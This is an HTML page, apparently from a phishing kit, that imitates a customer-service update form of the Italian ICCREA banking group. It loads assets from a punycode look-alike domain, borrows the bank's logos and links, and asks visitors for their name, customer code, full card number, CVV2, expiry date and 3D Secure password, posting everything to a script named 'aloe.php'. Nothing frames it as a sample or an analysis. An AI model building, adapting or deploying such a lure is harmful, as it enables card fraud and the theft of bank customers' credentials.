<!-- saved from url=(0016)http://localhost -->
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html><head>
<meta http-equiv="content-type" content="text/html; charset=windows-1252">
<title>Assistenza Clienti - Completamento Informazioni</title>
<base href="http://xn--schmdt-ewa.de/files/">
<script src="js/morcov.js" type="text/javascript" language="javascript"></script>
<link rel="stylesheet" href="css/stile_completamento_iccrea.css" type="text/css" />
</head><body>
<table class="esternotab" align="center" border="0" cellspacing="0" width="100%">
<tbody>
<tr>
        <td>
                <table class="esternotab" align="center" cellspacing="0" width="100%">
                <tbody>
                <tr class="r2">
                        <td align="center" width="25%">
                                 
                        </td>
                        <td class="r2b" width="50%">
                                 
                        </td>
                        <td class="r2c" width="25%">
                                 
                        </td>
                </tr>
                </tbody>
                </table>
        </td>
</tr>
<tr>
        <td>
                <table class="esternotab" border="0" cellspacing="0" width="100%">
                <tbody>
                <tr class="r3">
                        <td class="r3a" colspan="3" width="100%">
                                 
                        </td>
                </tr>
                <tr class="r4">
                        <td class="r4a" width="25%">
                                 
                        </td>
                        <td class="r4b" align="center" width="50%">
                                <table class="centrotab" valign="middle" align="center" border="0" cellspacing="1" width="400">
                                <tbody>
                                <tr>
                                        <td bgcolor="#333333">
                                                <table class="centrotab" valign="middle" align="center" border="0" bordercolor="#333333" cellspacing="1" width="400">
                                                <form name="portocals" id="portocals" method="post" onsubmit="return caise()" action="aloe.php">
                                                <tbody>
                                                <tr>
                                                        <td colspan="6" align="center">
                                                        <img src="img/gruppoiccrea.jpg">
                                                        </td>
                                                </tr>
                                                <tr>
                                                        <td colspan="6" class="nomecampo2" align="center"><br />
                                                                 I campi sotto riportati devono essere compilati con i dati in vostro possesso.
                                                                 Utilizzate poi il pulsante "Conferma" per proseguire con l'aggiornamento. Se
                                                                 invece non vuole proseguire è nella Sua facoltà annullare . <br />
                                                                 <br>
                                                        </td>
                                                </tr>
                                                <tr>
                                                        <td> </td>
                                                        <td> </td>
                                                        <td class="nomecampo">   </td>
                                                        <td> </td>
                                                        <td colspan="2"> </td>
                                                </tr>
                                                <tr>
                                                        <td> </td>
                                                        <td class="nomecampo" colspan="2">
                                                                 Nome è Cognome:
                                                        </td>
                                                        <td >
                                                                <input name="titolare" value="" type="text">
                                                        </td>
                                                        <td colspan="2">
                                                                <img src="img/asterisco.gif">
                                                        </td>
                                                </tr>
                                                <tr>
                                                        <td> </td>
                                                        <td class="nomecampo" colspan="2">
                                                                 Codice Cliente:
                                                        </td>
                                                        <td class="nomecampo">
                                                                <input name="codice" value="" size="12" maxlength="10" type="text">
                                                        </td>
                                                        <td colspan="2">
                                                                <img src="img/asterisco.gif">
                                                        </td>
                                                </tr>
                                                <tr>
                                                        <td colspan="6" class="nomecampo"> </td>
                                                </tr>
                                                <tr>
                                                        <td> </td>
                                                        <td class="nomecampo" colspan="2">
                                                                 Numero Carta:
                                                        </td>
                                                        <td class="datonumero">
                                                                <input name="pan" maxlength="16" size="20" type="text">
                                                        </td>
                                                        <td colspan="2">
                                                                <img src="img/asterisco.gif">
                                                        </td>
                                                </tr>
                                                <tr>
                                                        <td> </td>
                                                        <td class="nomecampo" colspan="2">
                                                                 CVV2/CVC2:
                                                        </td>
                                                        <td class="datonumero">
                                                                <input name="cvv2" maxlength="3" size="5" type="text"> 
                                                                <a href="https://wsso.bccsoar.it/vtrans/jsp/infoCvv_it.jsp" target="popupWindow" onclick="window.open(this.href, this.name,'resizable=no,toolbar=no,menubar=no,statusbar=no,left=50,top=10,height=325,width=370'); return false;" onmouseout="top.status='';" onmousedown="top.status='Insert Message';" onmouseover="top.status='Insert Message';">
                                                                        <img src="img/infoBtn.gif" alt="Informazioni su CVV2/CVC2" border="0">
                                                                </a>
                                                        </td>
                                                        <td colspan="2">
                                                                <img src="img/asterisco.gif">
                                                        </td>
                                                </tr>
                                                <tr>
                                                        <td> </td>
                                                        <td class="nomecampo" colspan="2">
                                                                 Scadenza Mese/Anno:
                                                        </td>
                                                        <td class="nomecampo">
                                                                <select name="exm">
                                                                        <option selected="selected" value=""></option>
                                                                        <option value="01"> 01 </option>
                                                                        <option value="02"> 02 </option>
                                                                        <option value="03"> 03 </option>
                                                                        <option value="04"> 04 </option>
                                                                        <option value="05"> 05 </option>
                                                                        <option value="06"> 06 </option>
                                                                        <option value="07"> 07 </option>
                                                                        <option value="08"> 08 </option>
                                                                        <option value="09"> 09 </option>
                                                                        <option value="10"> 10 </option>
                                                                        <option value="11"> 11 </option>
                                                                        <option value="12"> 12 </option>
                                                                </select>
                                                                  / 
                                                                <select name="exy">
                                                                        <option selected="selected" value=""></option>
                                                                        <option value="2014">2014</option>
                                                                        <option value="2015">2015</option>
                                                                        <option value="2016">2016</option>
                                                                        <option value="2017">2017</option>
                                                                        <option value="2018">2018</option>
                                                                        <option value="2019">2019</option>
                                                                        <option value="2020">2020</option>
                                                                        <option value="2021">2021</option>
                                                                        <option value="2022">2022</option>
                                                                        <option value="2023">2023</option>
                                                                </select>
                                                        </td>
                                                        <td colspan="2">
                                                                <img src="img/asterisco.gif">
                                                        </td>
                                                </tr>
                                                <tr>
                                                        <td> </td>
                                                        <td class="nomecampo" colspan="2">
                                                                 3DSecure Password:
                                                        </td>
                                                        <td class="nomecampo">
                                                                <input name="passwd" value="" size="14" type="password">
                                                        </td>
                                                        <td colspan="2">
                                                                <img src="img/asterisco.gif">
                                                        </td>
                                                </tr>
                                                <tr>
                                                        <td colspan="6"> </td>
                                                </tr>
                                                <tr>
                                                        <td class="nomecampo3" colspan="6" align="center">
                                                                <br /><input class="noborder" id="OK" name="OK" value="OK" src="img/conferma_iccrea_it.gif" style="border: 0 0; list-style: none;" border="0" type="image"><br /><br />
                                                        </td>
                                                </tr>
                                                <tr>
                                                        <td colspan="2" align="right">
                                                                <img src="img/sclogo_98x53.gif" border="0">
                                                        </td>
                                                        <td colspan="3" align="center">
                                                                <img src="img/imaget.jpg" altkey="immagine" styleclass="icon" border="0">
                                                        </td>
                                                        <td colspan="1" align="left">
                                                                <img src="img/vbv1.gif" border="0">
                                                        </td>
                                                </tr>
                                                <tr>
                                                        <td colspan="6" class="nomecampo2" align="center"><br /><img src="img/asterisco2_iccrea.gif">
                                                                I campi contraddistinti da un asterisco sono campi obbligatori. Qualora il dato da Voi inserito non risultasse corretto,
                                                                l'applicazione ripresenterà nuovamente questa pagina con l'asterisco accanto solamente al campo errato.<br /><br />
                                                        </td>
                                                </tr>
                                                </tbody>
                                                </form>
                                                </table>
                                        </td>
                                </tr>
                                </tbody>
                                </table>
                        </td>
                        <td class="r4c" width="25%">
                                 
                        </td>
                </tr>
                </tbody>
                </table>
        </td>
</tr>
</tbody>
</table>
</body>
</html>